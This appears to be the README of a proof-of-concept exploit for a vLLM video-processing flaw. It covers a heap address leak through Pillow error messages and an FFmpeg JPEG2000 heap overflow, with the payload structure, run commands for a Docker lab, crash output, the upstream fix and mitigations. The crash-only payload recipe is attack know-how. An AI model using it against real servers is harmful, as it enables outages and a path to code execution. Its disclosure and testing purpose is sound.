Proof-of-concept exploit for CVE-2026-22778, an unauthenticated RCE in vLLM's video processing, demonstrating heap address disclosure and a heap buffer overflow in FFmpeg's JPEG2000 decoder. Includes a vulnerable lab for authorized testing.
| CVE | CVE-2026-22778 |
| Advisory | GHSA-4r2x-xpjr-7cvv |
| Affected | vLLM >= 0.8.3, < 0.14.1 (deployments serving video models) |
| Fixed in | vLLM 0.14.1 |
| CVSS | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Underlying bug | CVE-2025-9951 — heap buffer overflow in FFmpeg's JPEG2000 decoder |
Two separate flaws chained together. A default vllm serve has no
authentication, so both are reachable pre-auth on /v1/chat/completions and
/v1/invocations.
When an image fails to parse, Pillow raises an exception whose message embeds
the repr() of the BytesIO object it was reading from:
cannot identify image file <_io.BytesIO object at 0x7f4a9c2e1d50>
vLLM turned media-loading failures into an HTTP 400 and returned
exc.detail to the client untouched
(api_server.py):
async def http_exception_handler(_: Request, exc: HTTPException):
err = ErrorResponse(
error=ErrorInfo(
message=exc.detail, # <-- leaks the address verbatim
...
That single address collapses heap ASLR from ~32 bits of entropy to roughly 3, which is what makes stage 2 exploitable rather than just a crash.
A video_url is fetched by the server and handed to OpenCV:
MediaConnector.load_from_url() vllm/multimodal/utils.py
-> OpenCVVideoBackend.load_bytes() vllm/multimodal/video.py
-> cv2.VideoCapture(BytesIO(data), backend, [])
-> FFmpeg 5.1.x (bundled in opencv-python-headless < 4.13)
vLLM pinned opencv-python-headless >= 4.11.0, which ships FFmpeg 5.1.x. Its
JPEG2000 decoder picks the destination plane straight out of the file's
channel-definition (cdef) box — libavcodec/jpeg2000dec.c, write_frame_8:
if (planar)
plane = s->cdef[compno] ? s->cdef[compno]-1 : (s->ncomponents-1);
...
int w = tile->comp[compno].coord[0][1] - ...; /* from the component */
int h = tile->comp[compno].coord[1][1] - ...; /* not from the plane! */
plane is attacker-controlled but w/h come from the component being
decoded, and nothing checks that one fits in the other. A cdef entry of
cn=0, asoc=2 sends component 0 — the full-resolution luma plane — into
plane 1, the 2×2-subsampled chroma plane.
For the 150×64 frame this PoC uses:
| size | |
|---|---|
| Y component (written) | 150 × 64 = 9,600 bytes |
| U plane (destination) | 75 × 32 = 2,400 bytes |
| Overflow | 7,200 bytes past the allocation |
FFmpeg allocates each plane as its own AVBuffer, so the overflow runs
through adjacent heap chunks — including AVBuffer structs holding a free
function pointer. Combined with the leak from stage 1, overwriting that
pointer is what turns the corruption into code execution.
This PoC stops at the memory corruption. It proves the out-of-bounds write by killing the server process. Heap grooming and the function-pointer overwrite are deliberately not implemented.
lab/app.py is a minimal reimplementation of the multimodal ingestion path of
vLLM 0.13.0 — MediaConnector, ImageMediaIO, OpenCVVideoBackend and the
pre-patch error handler, each annotated with the upstream file it mirrors. The
model runtime is stubbed out: the vulnerability lives entirely in media
ingestion, which runs before inference and needs no GPU or model weights.
Everything on the attack path is the real thing — the same Pillow call that
leaks the address, and the same cv2.VideoCapture call into an unpatched
opencv-python-headless==4.11.0.86 (FFmpeg 5.1.x, libavcodec 59.37.100).
docker compose up -d --build
python3 exploit.py
Options:
python3 exploit.py --target http://localhost:8000
python3 exploit.py --serve # deliver the payload over HTTP
python3 exploit.py --write-payload evil.jp2 # just write the malicious file
The exploit is pure standard library — no dependencies.
[*] Stage 1 -- heap address disclosure via PIL error message
HTTP 400
cannot identify image file <_io.BytesIO object at 0xffff8f555300>
[+] Leaked heap address: 0xffff8f555300
ASLR bypassed: the heap base is now known to ~3 bits of entropy.
[*] Stage 2 -- heap buffer overflow in the JPEG2000 decoder
Target alive: boot_id=95b62f18-13c0-4d6d-97d3-1b029207dc01 pid=1
Payload: 203 bytes, 150x64 yuv420p JP2
cdef maps component 0 -> plane 1: writes 9600 bytes into a 2400-byte plane (7200-byte overflow)
Request never completed: Remote end closed connection without response
Probing /health to see what happened to the worker...
[+] Worker was killed and restarted: boot_id 95b62f18-... -> 4494d28c-...
[+] Out-of-bounds write confirmed.
And the server side:
$ docker compose logs vllm
cve-2026-22778-lab | INFO: POST /v1/chat/completions HTTP/1.1" 400 Bad Request
cve-2026-22778-lab | corrupted size vs. prev_size
cve-2026-22778-lab | INFO: Started server process [1]
Teardown:
docker compose down
203 bytes, built from scratch in build_payload(). A JP2 container holding a
minimal JPEG2000 codestream that declares three components at 4:2:0
subsampling (so FFmpeg allocates a yuv420p frame), plus a cdef box that
remaps them:
cn=0, typ=0, asoc=2 <-- component 0 (full res) into plane 1 (subsampled)
cn=1, typ=0, asoc=2
cn=2, typ=0, asoc=3
The coefficient data is empty. The decoder still allocates the frame from the
SIZ header and still runs the write loop, so no real image data is needed.
vLLM 0.14.1, via three PRs:
Upstream FFmpeg now rejects a cdef map that is not a permutation of the
channels, and derives the pixel format from the remapped indices:
int cdef_used = 0;
for (i = 0; i < s->ncomponents; i++)
cdef_used |= 1<<s->cdef[i];
if (cdef_used != ((int[]){0,2,3,14,15})[s->ncomponents])
return AVERROR_INVALIDDATA;
Swapping the lab's pin to opencv-python-headless>=4.13.0 makes the same
payload fail harmlessly with error during processing marker segment ff51.
If you cannot upgrade: don't serve video models, put authentication in front
of the API, and restrict media fetching with --allowed-media-domains.
docker compose build for the native arm64
architecture (the default). Forcing --platform linux/amd64 runs the
container under emulation, where the aborting process hangs instead of
exiting and the crash is harder to observe.For education and authorized security testing only. Run it against the lab in this repository or systems you have explicit permission to test.